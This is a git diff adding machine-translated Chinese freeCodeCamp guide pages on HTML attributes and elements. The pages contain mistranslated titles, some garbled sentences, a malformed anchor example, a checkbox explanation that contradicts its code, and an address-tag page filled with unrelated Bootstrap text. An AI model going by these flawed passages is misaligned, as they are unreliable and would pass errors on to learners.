+例如，表单中的`<input>`元素可以具有`required`属性。这要求用户在提交表单之前填写该项目。
+
+以下示例执行相同的操作：
+
+```html
+
+<input type="text" required > 
+ <input type="text" required="required" > 
+```
+
+## 其他资源
+
+[HTML链接](#) [Href属性](#) [郎属性](#) [HTML输入元素](#) [必需属性](#)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/input-checked-attribute/index.md b/client/src/guide/chinese/html/attributes/input-checked-attribute/index.md
new file mode 100644
index 0000000000..e5eefee4de
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/input-checked-attribute/index.md
@@ -0,0 +1,26 @@
+---
+title: Input Checked Attribute
+localeTitle: 输入检查属性
+---
+## 输入检查属性
+
+checked属性是布尔属性。
+
+如果存在，它指定一个页面加载时应预先选择（选中）元素。
+
+checked属性可以与。一起使用和 。
+
+还可以在页面加载后通过JavaScript设置checked属性。
+
+## 看一下下面的例子：
+
+```html
+
+<form action="/action_page.php"> 
+  <input type="checkbox" name="vehicle" value="Bike"> I have a bike<br> 
+  <input type="checkbox" name="vehicle" value="Car" checked> I have a car<br> 
+  <input type="submit" value="Submit"> 
+ </form> 
+```
+
+在上面的示例中，默认情况下加载网页时，由于checked属性，将自动选中第一个复选框。
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/input-type-attribute/index.md b/client/src/guide/chinese/html/attributes/input-type-attribute/index.md
new file mode 100644
index 0000000000..da032719ef
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/input-type-attribute/index.md
@@ -0,0 +1,116 @@
+---
+title: Input Type Attribute
+localeTitle: 输入类型属性
+---
+## 输入类型属性
+
+input type属性指定用户应在表单中输入的输入类型。
+
+### 文本
+
+一行文字。
+
+```html
+
+    <form> 
+      <label for="login">Login:</label> 
+      <input type="text" name="login"> 
+    </form> 
+```
+
+### 密码
+
+一行文字。文本自动显示为一系列点或星号（取决于浏览器和操作系统）。
+
+```html
+
+    <form> 
+      <label for="password">Password:</label> 
+      <input type="password" name="password"> 
+    </form> 
+```
+
+### 电子邮件
+
+HTML检查输入是否与电子邮件地址格式匹配（某些东西）。
+
+```html
+
+    <form> 
+      <label for="email">E-mail address:</label> 
+      <input type="email" name="email"> 
+    </form> 
+```
+
+### 数
+
+仅允许数字输入。您还可以指定允许的最小值和最大值。下面的示例检查输入是1到120之间的数字。
+
+```html
+
+    <form> 
+      <label for="age">Age:</label> 
+      <input type="number" name="age" min="1" max="120"> 
+    </form> 
+```
+
+### 无线电
+
+用户只能选择一个选项。单选按钮组需要具有相同的名称属性。您可以使用`checked`属性自动选择一个选项（例如，选择值Blue下面的示例）。
+
+```html
+
+    <form> 
+      <label><input type="radio" name="color" value="red">Red</label> 
+      <label><input type="radio" name="color" value="green">Green</label> 
+      <label><input type="radio" name="color" value="blue" checked>Blue</label> 
+    </form> 
+```
+
+### 复选框
+
+用户可以从复选框组中选择零个或多个选项。您也可以在此处使用`checked`属性作为一个或多个选项。
+
+```html
+
+    <form> 
+      <label><input type="checkbox" name="lang" value="english">english</label> 
+      <label><input type="checkbox" name="lang" value="spanish">spanish</label> 
+      <label><input type="checkbox" name="lang" value="french">french</label> 
+    </form> 
+```
+
+### 按键
+
+输入显示为按钮，应在按钮中显示的文本在value属性中。
+
+```html
+
+    <form> 
+      <input type="button" value="click here"> 
+    </form> 
+```
+
+### 提交
+
+显示提交按钮。应该在按钮中显示的文本是value属性。单击按钮后，HTML将执行验证，如果通过，则提交表单。
+
+```html
+
+    <form> 
+      <input type="submit" value="SUBMIT"> 
+    </form> 
+```
+
+### 重启
+
+显示重置按钮。应该在按钮中显示的文本是value属性。单击该按钮后，表单中的所有值都将被删除。
+
+```html
+
+    <form> 
+      <input type="reset" value="CANCEL"> 
+    </form> 
+```
+
+有更多类型的元素。有关更多信息，请访问MSDN或w3schools 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/input/index.md b/client/src/guide/chinese/html/attributes/input/index.md
new file mode 100644
index 0000000000..21e68b0681
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/input/index.md
@@ -0,0 +1,43 @@
+---
+title: Input
+localeTitle: 输入
+---
+## 输入
+
+HTML `<input>`标记用于表单中以声明输入元素。 它允许用户输入数据。
+
+## 例
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+ 
+   <head> 
+      <title>HTML input Tag</title> 
+   </head> 
+ 
+   <body> 
+      <form action = "/cgi-bin/hello_get.cgi" method = "get"> 
+         First name: 
+            <input type = "text" name = "first_name" value = "" maxlength = "100" /> 
+            <br /> 
+ 
+         Last name: 
+            <input type = "text" name = "last_name" value = "" maxlength = "100" /> 
+         <input type = "submit" value = "Submit" /> 
+      </form> 
+   </body> 
+ 
+ </html> 
+```
+
+在上面的示例中，有两个输入字段要求用户根据指定的标签输入其姓和名。 submit `<button type="submit">`是另一种输入类型，用于将用户输入的数据输入表单并将其发送到代码中指定的其他位置。
+
+#### 更多信息：
+
+[的Youtube](https://www.youtube.com/watch?v=qJ9ZkxmVf5s)
+
+## 输入
+
+HTML `<input>`标签有许多类型可用于输入数据。他们之中有一些是： 类型：文本（这是用于创建常规文本框的最常见类型） 类型：密码（此类型用于创建密码字段） 类型：隐藏（这是一种特殊类型的输入，未向用户显示，但用于在使用标记时将信息从一个页面传递到另一个页面）
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/lang/index.md b/client/src/guide/chinese/html/attributes/lang/index.md
new file mode 100644
index 0000000000..e144cc0954
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/lang/index.md
@@ -0,0 +1,28 @@
+---
+title: Lang
+localeTitle: 只
+---
+## 郎
+
+在HTML中，Lang标签用于声明整个网页或部分网页的语言。
+
+### 例子
+
+```html
+
+<html lang="en"> 
+ </html> 
+```
+
+lang属性还可用于指定特定元素的语言：
+
+```html
+
+<p lang="hi"> 
+  फ्री कोड कैंप 
+ </p> 
+```
+
+在上面的例子中，“hi”表示印地语。同样，您可以使用“en”表示英语，“es”表示西班牙语，“fr”表示法语等。
+
+有关适当的两位数语言代码，请参阅[ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/links/index.md b/client/src/guide/chinese/html/attributes/links/index.md
new file mode 100644
index 0000000000..f7116a144c
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/links/index.md
@@ -0,0 +1,43 @@
+---
+title: Links
+localeTitle: 链接
+---
+## 链接
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/html/attributes/links/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+链接在网络上的任何地方都使用，目的是将用户引导到各种内容项目。它们通常由光标变为手形图标来指示。链接可以是HTML或网页中包含的文本，图像或其他元素。
+
+您使用`code <a>`标签或锚元素来定义链接，这也需要您使用`code href`属性访问的目标地址。这是一个片段，使“freeCodeCamp指南”这个短语成为一个链接：
+
+```html
+
+<a href="https://guide.freecodecamp.org">the freeCodeCamp Guide</a> 
+```
+
+如果您希望在新标签页中打开链接，则会在开始`code <a>`标记内使用`code target`属性以及`code "_blank"`值。看起来像这样：
+
+```html
+
+<a href="https://guide.freecodecamp.org" target="_blank">the freeCodeCamp Guide</a> 
+```
+
+当您需要引导用户访问网页的特定部分时，让我们假设最底层，您首先需要将哈希`code #`符号分配给`code href`属性，就像这样
+
+```html
+
+<a href="#footer>More about us<a/> 
+```
+
+然后，您需要在要引导用户的元素中使用`code id`属性 - 在这种情况下，网页底部的`code <footer>` 。
+
+```html
+
+<footer id="footer">Powered by freeCodeCamp</footer> 
+```
+
+#### 更多信息：
+
+[w3sschools - HTML链接](https://www.w3schools.com/html/html_links.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/onclick-event-attribute/index.md b/client/src/guide/chinese/html/attributes/onclick-event-attribute/index.md
new file mode 100644
index 0000000000..2835119acd
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/onclick-event-attribute/index.md
@@ -0,0 +1,43 @@
+---
+title: Onclick Event Attribute
+localeTitle: Onclick事件属性
+---
+## Onclick事件属性
+
+单击元素时会触发事件。
+
+它就像_onclick方法_或`addEventListener('click')` 。
+
+```html
+
+<element onclick="event"></element> 
+```
+
+> `event`可以是JavaScript函数，也可以编写原始JavaScript
+
+### 例子
+
+单击时更改`<p>`元素的颜色
+
+```html
+
+<p id="text" onclick="redify()">Change my color</p> 
+ 
+ <script> 
+ function redify(){ 
+  let text = document.querySelector('#text'); 
+  text.style.color = "red"; 
+ } 
+ </script> 
+```
+
+使用原始JavaScript onclick属性：
+
+```html
+
+<button onclick="alert('Hello')">Hello World</button> 
+```
+
+#### 更多信息：
+
+*   [MDN](https://developer.mozilla.org/pt-BR/docs/Web/API/GlobalEventHandlers/onclick)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/p-align-attribute/index.md b/client/src/guide/chinese/html/attributes/p-align-attribute/index.md
new file mode 100644
index 0000000000..f80c0030e0
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/p-align-attribute/index.md
@@ -0,0 +1,42 @@
+---
+title: P Align Attribute
+localeTitle: P对齐属性
+---
+## P对齐属性
+
+### 重要
+
+HTML5不支持此属性。建议使用[`text-align` CSS属性](https://guide.freecodecamp.org/css/text-align) 。
+
+要在`<p>`标记内对齐文本，此属性将有所帮助。
+
+### 句法
+
+```html
+
+<p align="position">Lorem Ipsum...</p> 
+```
+
+### 属性
+
+*   **left** - 文本**左**对齐
+*   **right** - 文本**右**对齐
+*   **center** - 文本与中心对齐
+*   **对齐** - 所有文本行的宽度相等
+
+### 例
+
+```html
+
+<html> 
+ <body> 
+ <p align="center">Paragraph align attribute example</p> 
+ </body> 
+ </html> 
+```
+
+#### 更多信息：
+
+*   [CSS `text-align`](https://guide.freecodecamp.org/css/text-align)
+*   [W3 - HTML 4.01规范](https://www.w3.org/TR/html401/struct/text.html#h-9.3.1)
+*   [MDN - CSS文本对齐](https://developer.mozilla.org/en-US/docs/Web/CSS/text-align)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/placeholder-attribute/index.md b/client/src/guide/chinese/html/attributes/placeholder-attribute/index.md
new file mode 100644
index 0000000000..009d09681e
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/placeholder-attribute/index.md
@@ -0,0 +1,38 @@
+---
+title: Placeholder Attribute
+localeTitle: 占位符属性
+---
+## 占位符属性| HTML5
+
+指定描述`<input>`或`<textarea>`表单控件的预期值的简短提示。
+
+占位符属性不得包含回车符或换行符。
+
+注意：不要使用占位符属性而不是<label>元素，它们的用途是不同的。 <label>属性描述了表单元素的作用（即它指示了预期的信息类型），占位符属性是关于内容应该采用的格式的提示。
+
+### 例
+
+输入示例
+
+```html
+
+<form> 
+    <input type="text" name="fname" placeholder="First Name"> 
+    <input type="text" name="lname" placeholder="Last Name"> 
+ </form> 
+```
+
+Textarea例子
+
+```html
+
+<textarea placeholder="Describe yourself here..."></textarea> 
+```
+
+### 兼容性
+
+这是一个HTML5属性。
+
+#### 更多信息：
+
+w3schools.com上的[HTML占位符属性](https://www.w3schools.com/tags/att_placeholder.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/required/index.md b/client/src/guide/chinese/html/attributes/required/index.md
new file mode 100644
index 0000000000..60d40610fd
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/required/index.md
@@ -0,0 +1,56 @@
+---
+title: Required
+localeTitle: 需要
+---
+## 需要
+
+HTML required属性在input元素中用于以输入表单所需的形式输入字段。 如果用户没有填写输入字段，表单将不会提交，并且会发出一条消息，要求用户填写该字段。 `< Required>`属性适用于`<input>` ， `<select>` ， `<textarea>` 。
+
+例如：
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+    <title>HTML Required Attribute</title> 
+  </head> 
+  <body> 
+    <form action="/"> 
+      Text Field: <input type="text" name="textfield" required> 
+      <input type="submit" value="Submit"> 
+    </form> 
+  </body> 
+ </html> 
+```
+
+选择示例：
+
+```html
+
+<form action="/action.php"> 
+ <select required> 
+  <option value="">None</option> 
+  <option value="volvo">Volvo</option> 
+  <option value="saab">Saab</option> 
+  <option value="mercedes">Mercedes</option> 
+  <option value="audi">Audi</option> 
+ </select> 
+ </form> 
+```
+
+文本区域示例：
+
+```html
+
+<form action="/action.php"> 
+  <textarea name="comment" required></textarea> 
+  <input type="submit"> 
+ </form> 
+```
+
+简单地添加`required`的输入元件
+
+#### 更多信息：
+
+[关于输入元素的MDN文章](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/role-attribute/index.md b/client/src/guide/chinese/html/attributes/role-attribute/index.md
new file mode 100644
index 0000000000..5d5a5822fb
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/role-attribute/index.md
@@ -0,0 +1,25 @@
+---
+title: Role Attribute
+localeTitle: 角色属性
+---
+## 角色属性
+
+`role`属性描述了元素对可以使用它的程序的作用，例如屏幕阅读器或放大镜。
+
+用法示例：
+
+```html
+
+<a href="#" role="button">Button Link</a> 
+```
+
+屏幕阅读器会将此元素读作“按钮”而不是“链接”。
+
+角色分为四类：
+
+*   抽象角色
+*   小部件角色
+*   文档结构角色
+*   地标角色
+
+有关现有角色的完整列表，请参阅[aria角色文档](https://www.w3.org/TR/wai-aria/roles) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/script-src-attribute/index.md b/client/src/guide/chinese/html/attributes/script-src-attribute/index.md
new file mode 100644
index 0000000000..12d4138202
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/script-src-attribute/index.md
@@ -0,0 +1,45 @@
+---
+title: Script Src Attribute
+localeTitle: 脚本Src属性
+---
+## 脚本Src属性
+
+一个'src'属性 tag是要链接到HTML文档的外部文件或资源的路径。
+
+例如，如果您有自己的名为“script.js”的自定义JavaScript文件，并希望将其功能添加到HTML页面，则可以像这样添加：
+
+```html
+
+<!DOCTYPE html> 
+ <html lang="en"> 
+  <head> 
+    <title>Script Src Attribute Example</title> 
+  </head> 
+  <body> 
+ 
+  <script src="./script.js"></script> 
+  </body> 
+ </html> 
+```
+
+这将指向名为“script.js”的文件，该文件与.html文件位于同一目录中。您还可以使用文件路径中的“..”链接到其他目录。
+
+```html
+
+<script src="../public/js/script.js"></script> 
+```
+
+这会将一个目录级别跳转到“公共”目录，然后跳转到“js”目录，然后跳转到“script.js”文件。
+
+您还可以使用'src'属性链接到第三方托管的外部.js文件。如果您不想下载文件的本地副本，则使用此选项。请注意，如果链接更改或网络访问已关闭，则您链接到的外部文件将不起作用。
+
+此示例链接到jQuery文件。
+
+```html
+
+<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js"></script> 
+```
+
+#### 更多信息：
+
+[关于HTML的MDN文章](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-src) tag</a></p></x-turndown>
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/attributes/table-border-attribute/index.md b/client/src/guide/chinese/html/attributes/table-border-attribute/index.md
new file mode 100644
index 0000000000..1655d178eb
--- /dev/null
+++ b/client/src/guide/chinese/html/attributes/table-border-attribute/index.md
@@ -0,0 +1,12 @@
+---
+title: Table Border Attribute
+localeTitle: 表边框属性
+---
+## 表边框属性
+
+`<table>`标记边框属性是一种将边框排序为HTML表格的方法。支持的值为`0` （无边框）和`1` （边框）。 HTML 5中不支持border属性，即最新版本的HTML。建议使用CSS在HTML 5中为表添加边框。
+
+#### 更多信息：
+
+*   [MDN - HTML属性参考](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes)
+*   [MDN - CSS边框](https://developer.mozilla.org/en-US/docs/Web/CSS/border)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/block-and-inline-elements/index.md b/client/src/guide/chinese/html/block-and-inline-elements/index.md
new file mode 100644
index 0000000000..864ea60aee
--- /dev/null
+++ b/client/src/guide/chinese/html/block-and-inline-elements/index.md
@@ -0,0 +1,39 @@
+---
+title: Block and Inline Elements
+localeTitle: 块和内联元素
+---
+## 块和内联元素
+
+让我们使用以下示例来理解它们：
+
+#### 带输出的代码示例：
+
+![块输出](https://user-images.githubusercontent.com/16048167/31070017-6f2cf0a2-a77c-11e7-9de6-110b9d0b488d.PNG)
+
+#### 块级元素：
+
+块级元素占据父级（容器）的整个空间，例如示例中的`<div>`和`<p>` 。
+
+请注意， `<div>`和`<p>`每次都从一个新行开始，形成一个**块状**结构。块级元素从新行开始。
+
+常见的**块级元素**是`<div>` ， `<p>` ， `<article>` ， `<section>` ， `<figure>` ， `<footer>`等。
+
+#### 内联元素：
+
+内联名称“作为正文的一部分而不是单独的部分”。内联元素在主元素定义的空间内根据需要占据空间。与块级元素不同，它们不会在新行上开始。
+
+一些**内联元素**是`<a>` ， `<span>` ， `<img>` ， `<code>` ， `<cite>` ， `<button>` ， `<input>`等。
+
+#### 带输出的代码示例：
+
+![内联输出](https://user-images.githubusercontent.com/16048167/31069389-e1e3fc10-a779-11e7-86d2-6685e0061f52.png)
+
+**_注意_** ：块级元素可能包含其他块级元素或内联元素。内联元素**不能**包含块级元素。
+
+#### HTML5中的更改
+
+虽然对块和内联元素的理解仍然相关，但您应该知道这些术语是在HTML规范的早期版本中定义的。在HTML5中，一组更复杂的“内容类别”替换了块级和内联元素。块级元素主要放在HTML5中的“流内容”类别中，而内联元素对应于“短语内容”类别。有关HTML5中新内容类别的更多信息，包括流内容和短语内容，请参阅[Mozilla开发人员网络上的](https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_categories) “ [内容类别”页面。](https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_categories)
+
+#### 更多信息：
+
+请参阅[Mozilla文档](https://developer.mozilla.org/en-US/docs/Web/HTML/Block-level_elements#Block-level_vs._inline)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/comments-in-html/index.md b/client/src/guide/chinese/html/comments-in-html/index.md
new file mode 100644
index 0000000000..3aa1fca44a
--- /dev/null
+++ b/client/src/guide/chinese/html/comments-in-html/index.md
@@ -0,0 +1,66 @@
+---
+title: Comments in HTML
+localeTitle: HTML中的评论
+---
+## HTML中的评论
+
+comment标签是用于留下笔记的元素，主要与项目或网站相关。此标记经常用于解释代码中的某些内容或留下有关项目的一些建议。注释标记还使开发人员更容易回来并理解他在稍后阶段编写的代码。注释还可用于注释掉代码行以进行调试。
+
+最好在代码中添加注释，尤其是在与团队或公司合作时。
+
+注释以`<!--`开头，以`-->`结束，可以跨越多行。它们可以包含代码或文本，并且在用户访问页面时不会显示在网站的前端。您可以通过Inspector控制台或查看页面源来查看注释。
+
+### 例
+
+```html
+
+<!-- You can comment out a large number of lines like this. 
+ Author: xyz 
+ Date: xx/xx/xxxx 
+ Purpose: abc 
+ --> 
+ Read more: https://html.com/tags/comment-tag/#ixzz4vtZHu5uR 
+ <!DOCTYPE html> 
+ <html> 
+    <body> 
+        <h1>FreeCodeCamp web</h1> 
+        <!-- Leave some space between the h1 and the p in order to understand what are we talking about--> 
+        <p>FreeCodeCamp is an open-source project that needs your help</p> 
+            <!-- For readability of code use proper indentation --> 
+    </body> 
+ </html> 
+```
+
+## 条件评论
+
+条件注释定义了某些编码完成时要执行的一些HTML标记。
+
+条件注释仅由Internet Explorer版本5到版本9 - IE5 - IE9识别。
+
+### 例
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+    <body> 
+        <!--[if IE 9]> 
+                <h1>FreeCodeCamp web</h1> 
+            <p>FreeCodeCamp is an open-source project that needs your help</p> 
+        <![endif]--> 
+    </body> 
+ </html> 
+```
+
+### IE条件评论
+
+这些注释仅在Internet Explorer中可用，最多可用于IE9。在当今时代，你将永远不会看到它们有一个很好的变化，但了解它们的存在是很好的。条件注释是为不同客户端浏览器提供不同体验的一种方式。例如：
+
+```html
+
+<!--[if lt IE 9]> <p>Your browser is lower then IE9</p> <![endif]--> 
+ <!--[if IE 9]> <p>Your browser is IE9</p> <![endif]--> 
+ <!--[if gt IE 9]> <p>Your browser is greater then IE9</p> <![endif]--> 
+```
+
+[关于条件评论](https://msdn.microsoft.com/en-us/library/ms537512(v=vs.85).aspx)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/css-classes/index.md b/client/src/guide/chinese/html/css-classes/index.md
new file mode 100644
index 0000000000..ff9853f558
--- /dev/null
+++ b/client/src/guide/chinese/html/css-classes/index.md
@@ -0,0 +1,68 @@
+---
+title: CSS Classes
+localeTitle: CSS类
+---
+## CSS类
+
+类是对HTML元素进行分组的有效方式，以便它们可以共享相同的样式。 CSS（层叠样式表）类可用于排列和装饰网页元素。
+
+编写HTML时，可以向元素添加类。只需将属性`class="myclass"`到元素即可。多个元素可以具有相同的类，一个元素可以具有多个类。通过将空格分隔的所有所需类名添加到HTML中的`class`属性，可以为元素分配多个类。
+
+```html
+
+<h1 class="super-man other-class third-class">"Here I come to save the day!"</h1> 
+ <p>is a popular catchphrase that <span class="super-man">Super Man</span> often said.</p> 
+```
+
+然后可以使用CSS设置这些元素的样式。在CSS中使用句点（。）引用类，但不应在HTML中添加句点。
+
+```css
+.super-man { 
+  color: red; 
+  background-color: blue; 
+ } 
+```
+
+此代码为具有`super-man`所有元素提供蓝色背景和红色文本颜色。 [在CodePen上查看此示例](https://codepen.io/Tlandis/pen/RLvomV) 。
+
+您还可以为元素声明多个类，例如：
+
+```html
+
+<div class="ironMan alfred"> 
+ We're going to save you. 
+ </div> 
+```
+
+然后在你的css文件中：
+
+```css
+.ironMan{ 
+ color:red; 
+ } 
+ 
+ .alfred{ 
+ background-color: black; 
+ } 
+```
+
+**注意：**类名传统上都是小写的，多个单词类名中的每个单词用连字符分隔（例如“super-man”）。
+
+您还可以在同一行中组合类：
+
+```css
+.superMan .spiderMan { 
+ color: red; 
+ background-color: blue; 
+ } 
+```
+
+您可以在[此处](https://codepen.io/Tlandis/pen/RLvomV)查看上述代码的[结果](https://codepen.io/Tlandis/pen/RLvomV) 。 [在这里](https://www.w3schools.com/css/css_combinators.asp)学习如何使用选择器组合CSS类。
+
+#### 更多信息：
+
+*   [CSS Class Selector，w3学校](https://www.w3schools.com/cssref/sel_class.asp)
+*   [HTML课程，w3学校](https://www.w3schools.com/html/html_classes.asp)
+*   [CSS-技巧](https://css-tricks.com/how-css-selectors-work/)
+*   [如何在HTML5和CSS3中编码](http://howtocodeinhtml.com/chapter7.html)
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/class)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/doctype-declaration/index.md b/client/src/guide/chinese/html/doctype-declaration/index.md
new file mode 100644
index 0000000000..a14d22f3e0
--- /dev/null
+++ b/client/src/guide/chinese/html/doctype-declaration/index.md
@@ -0,0 +1,75 @@
+---
+title: Doctype Declaration
+localeTitle: Doctype声明
+---
+## Doctype声明
+
+HTML文档类型声明（也称为`DOCTYPE` ）是每个HTML或XHTML文档中所需的第一行代码。 `DOCTYPE`声明是向Web浏览器发出的关于页面编写的HTML版本的指令。这确保了不同Web浏览器以相同的方式解析网页。
+
+在HTML 4.01中， `DOCTYPE`声明引用文档类型定义（DTD）。 DTD定义XML文档的结构和合法元素。因为HTML 4.01基于标准通用标记语言（SGML），所以需要在`DOCTYPE`声明中引用DTD。
+
+此外，HTML 4.01的doctypes需要声明`strict` ， `transitional`或`frameset` DTD，每个DTD具有不同的用例，如下所述。
+
+*   **严格的DTD** ：用于_排除_ W3C在CSS支持增长时期望逐步淘汰的属性和元素的网页
+*   **Transitional DTD** ：用于_包含_ W3C期望在CSS支持增长时逐步淘汰的属性和元素的网页
+*   **框架集DTD** ：用于带框架的网页
+
+相比之下，HTML5 `DOCTYPE`的声明要简单得多：它不再需要引用DTD，因为它不再基于SGML。有关HTML 4.01和HTML5 `DOCTYPE`之间的比较，请参阅下面的示例。
+
+### 例子
+
+HTML5及更高版本的Doctype语法：
+
+```html
+
+<!DOCTYPE html> 
+```
+
+严格HTML 4.01的Doctype语法：
+
+```html
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> 
+```
+
+过渡HTML 4.01的Doctype语法：
+
+```html
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
+```
+
+框架集HTML 4.01的Doctype语法：
+
+```html
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd"> 
+```
+
+## 历史
+
+在HTML形成期间，Web标准尚未达成一致。浏览器供应商将以他们想要的任何方式构建新功能。竞争浏览器几乎没有什么问题。结果是Web开发人员不得不选择一个浏览器来开发他们的网站。这意味着网站无法在不受支持的浏览器中呈现。这种情况无法继续下去。
+
+W3C（万维网联盟）编写了一套Web标准来处理这种情况。所有浏览器供应商和Web开发人员都应遵守这些标准。这将确保网站在各种浏览器中都能很好地呈现。标准要求的变化与现有的一些做法完全不同。坚持这些将破坏现有的非标准兼容网站。
+
+为了解决这个问题，供应商开始将渲染模式编程到他们的浏览器中。 Web开发人员需要在HTML文档的顶部添加doctype声明。 doctype声明将告诉浏览器该文档使用哪种呈现模式。浏览器通常可以使用三种独立的渲染模式。 **完全标准模式**根据W3C Web标准呈现页面。 **Quirks模式**以非标准兼容的方式呈现页面。 **几乎标准模式**接近完全标准模式，但支持少量怪癖。
+
+在HTML5的现代时代，Web标准在所有主流浏览器中都得到了完全实现。网站通常以符合标准的方式开发。因此，HTML5 doctype声明仅用于告诉浏览器以完全标准模式呈现文档。
+
+## 用法
+
+Doctype声明必须是HTML文档中的第一行代码，除了注释之外，如果需要，它可以在它之前。对于现代HTML5文档，doctype声明应如下所示：
+
+`<!DOCTYPE html>`
+
+#### 更多信息：
+
+虽然不再普遍使用，但是以前版本的HTML还有其他几种doctype声明类型。还有XML文档的特定版本。要阅读有关这些内容的更多信息，并查看每个代码示例，请查看[Wikipedia文章](https://en.wikipedia.org/wiki/Document_type_declaration) 。
+
+[W3的一张纸条](https://www.w3.org/QA/Tips/Doctype)
+
+[MDN词汇表条目](https://developer.mozilla.org/en-US/docs/Glossary/Doctype)
+
+[W3Schools的](https://www.w3schools.com/tags/tag_doctype.asp)
+
+[快速解释“怪癖模式”和“标准模式”](https://developer.mozilla.org/en-US/docs/Quirks_Mode_and_Standards_Mode)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/a-tag/index.md b/client/src/guide/chinese/html/elements/a-tag/index.md
new file mode 100644
index 0000000000..e966017a2c
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/a-tag/index.md
@@ -0,0 +1,46 @@
+---
+title: A Tag
+localeTitle: 一天
+---
+## 一个标签
+
+`<a>`标签或_锚_元素创建指向另一个页面或文件的超链接。为了链接到不同的页面或文件， `<a>`标签还必须包含一个`href`属性，该属性指示链接的目的地。
+
+开始和结束`<a>`标签之间的文本成为链接。
+
+默认情况下，除非指定了其他目标，否则链接页面将显示在当前浏览器窗口中。
+
+#### 例：
+
+```html
+
+  <a href= "https://guide.freecodecamp.org/">freeCodeCamp</a> 
+```
+
+通过将`<img>`标记包含在`<a>`标记中，也可以将图像转换为链接。
+
+#### 例：
+
+```html
+
+  <a href= "https://guide.freecodecamp.org/"><img src="logo.svg"></a> 
+```
+
+还可以确定`<a>`标签的目标。这是使用`target`属性完成的。 `target`属性具有以下值`_blank|_self|_parent|_top|framename` 。
+
+`_blank` ：根据用户的偏好，在新选项卡或新窗口中打开链接。 `_self` ：在同一帧中打开链接（默认行为）。 `_parent` ：打开父框架中的链接，例如，当用户单击iframe中的链接时。 `_top` ：打开窗口整个主体中的链接。 `framename` ：打开指定帧中的链接。
+
+#### 例：
+
+```html
+
+  <a href= "https://guide.freecodecamp.org/" target="_blank">freeCodeCamp</a> 
+```
+
+[freeCodeCamp](https://guide.freecodecamp.org/) 此链接的创建方式与示例代码块建议的方式相同。单击它以查看其工作原理。
+
+#### 更多信息：
+
+*   [HTML <a>元素：MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a)
+*   [标签：w3schools](https://www.w3schools.com/tags/tag_a.asp)
+*   [标签：htmlreference.io](http://htmlreference.io/element/a/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/abbr-tag/index.md b/client/src/guide/chinese/html/elements/abbr-tag/index.md
new file mode 100644
index 0000000000..152f407076
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/abbr-tag/index.md
@@ -0,0 +1,19 @@
+---
+title: Abbr Tag
+localeTitle: Abbr Tag
+---
+## Abbr Tag
+
+`<abbr>`标签代表“缩写”。它可以采用`title`属性来解释缩写。
+
+用法示例：
+
+```html
+
+<abbr title="Free Code Camp">FCC</abbr> 
+```
+
+#### 更多信息：
+
+*   [HTML <abbr>元素：MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/abbr)
+*   [高级文本格式：缩写](https://developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Abbreviations)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/address-tag/index.md b/client/src/guide/chinese/html/elements/address-tag/index.md
new file mode 100644
index 0000000000..c4afae02ff
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/address-tag/index.md
@@ -0,0 +1,36 @@
+---
+title: Address Tag
+localeTitle: 地址标签
+---
+## 地址标签
+
+Bootstrap的表单控件扩展了我们的Rebooted表单样式和类。使用这些类可以选择自定义显示，以便在浏览器和设备之间进行更一致的呈现。
+
